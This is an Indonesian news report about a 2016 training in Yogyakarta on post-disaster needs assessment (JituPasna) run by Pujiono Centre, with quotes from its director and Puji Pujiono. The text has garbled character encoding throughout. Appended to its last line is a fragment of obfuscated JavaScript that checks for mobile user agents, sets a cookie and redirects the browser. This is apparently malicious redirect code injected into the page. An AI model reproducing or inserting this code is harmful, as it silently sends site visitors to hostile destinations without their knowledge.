Yogyakarta a�� Dalam rangka inisiasi dan pengembangan kelembagaan sebagai a�?pool of expertsa�?, Minggu, 5 Juni 2016, Pujiono Centre (Pucen) mengadakan Pelatihan Post Disaster Needs Assessment (PDNA) atau Pengkajian Kebutuhan Pasca Bencana (JituPasna). Berlokasi di Hotel Cakra Kembang Yogyakarta, pelatihan dengan 15 peserta dari Yogyakarta, Jawa Tengah, dan Jawa Timur tersebut, A�diampu penuh oleh Puji Pujiono, Regional Advisor of Disaster Risk Reduction UN ESCAP.
Menurut Rinto Andriono, Direktur Pucen, selama ini Pucen sedang mengembangkan Pusat Pengetahuan dan Sumberdaya untuk Rehabilitasi dan Rekonstruksi di Indonesia. a�?Selama ini kami telah mencoba menginisiasi instrumen Pengkajian Kebutuhan Pasca Bencana dan tiga tahun terakhir ini Pucen telah mengambil peran sebagai katalis dalam proses pembangunan kapasitas rehabilitasi dan rekonstruksi ini,a�? ungkapnya.
Menurut Rinto, hingga saat ini inisiatif-inisiatif di tahap pemulihan pasca bencana belum semaju inisiatif-inisiatif di tahapan pra-bencana dan kedaruratan. Akibatnya, hingga saat ini belum terbangun sebuah program rehabilitasi dan rekonstruksi yang berkualitas dan berbasis pada pengurangan risiko bencana. a�?Karena itulah, Pucen berinisiatif untuk mengembangkan a�?pool of facilitatorsa�? sebagai strategi peningkatan kapasitas untuk Jitupasna dan peserta pelatihan ini bisa dibilang sebagai Angkatan I,a�? jelasnya.
Strategi pelatihan tersebut dilaksanakan melalui a�?refreshmenta�� tentang JituPasna. Strategi tersebut dilakukan untuk membangun kesepahaman atas konteks JituPasna dan Sistem Rehabilitasi dan Rekonstruksi di Indonesia, kesepahaman konsep-prinsip-komponen JituPasna dan refleksi atas pelaksanaan pelatihan dan praktek JituPasna sebelumnya dan kesepakatan atas tatakelola pengetahuan dan program di dalam a�?Pool of Facilitatorsa�?.
Menurut Puji Pujiono, dalam upaya pengembangan kerangka kerja JituPasna ini masih masih banyak tantangan, terutama membangun kesepahaman persepsi dan konsep JituPasna oleh para pemangku kepentingan. Menurutnya, masih banyak yang perlu dikaji-tata kembali dan disinkronkan. a�?Perka tentang Rehabilitasi dan Rekonstruksi dengan Perka JituPasna, misalnya, itu perlu dilihat kembali,a�? jelasnya.
Puji juga menambahkan bahwa BNPB sebagai lembaga koordinatif pelaksanaan JituPasna, selama ini belum memiliki petunjuk teknis dan pelaksanaan. Di samping itu, menjawab kebutuhan JituPasna dalam skala komunitas juga merupakan hal yang tantangan dalam pengembangan JituPasna itu sendiri. (yy) vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}